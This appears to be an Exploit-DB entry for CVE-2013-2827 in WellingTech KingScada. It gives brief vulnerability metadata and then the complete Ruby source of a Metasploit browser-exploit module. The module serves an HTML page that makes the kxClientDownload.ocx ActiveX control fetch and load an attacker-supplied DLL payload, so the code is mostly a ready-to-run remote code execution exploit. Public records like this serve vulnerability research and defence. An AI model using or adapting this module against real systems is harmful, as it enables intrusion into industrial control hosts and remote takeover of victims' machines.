KingScada kxClientDownload.ocx ActiveX Remote Code Execution

vendor:

KingScada

by:

Andrea Micalizzi, Juan Vazquez

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: KingScada

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2013-2827

CPE: a:wellingtech:kingscada

Metasploit:

Other Scripts:

Platforms Tested: Windows

2014

KingScada kxClientDownload.ocx ActiveX Remote Code Execution

This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work only when Protected Mode is not present or not enabled.

Mitigation:

Apply the vendor patch.

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    => %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :ua_name     => /MSIE|KXCLIE/i
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
          'DisableNopes'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 14 2014'))
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Requested: #{request.uri}")

    if request.uri =~ /\/libs\/.*\.dll/
      print_good("Sending DLL payload")
      send_response(cli,
        generate_payload_dll(:code => get_payload(cli, target_info)),
        'Content-Type' => 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status("Sending not found")
      send_not_found(cli)
      return
    end

    content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
    EOS

    print_status("Sending #{self.name}")
    send_response_html(cli, content)
  end

end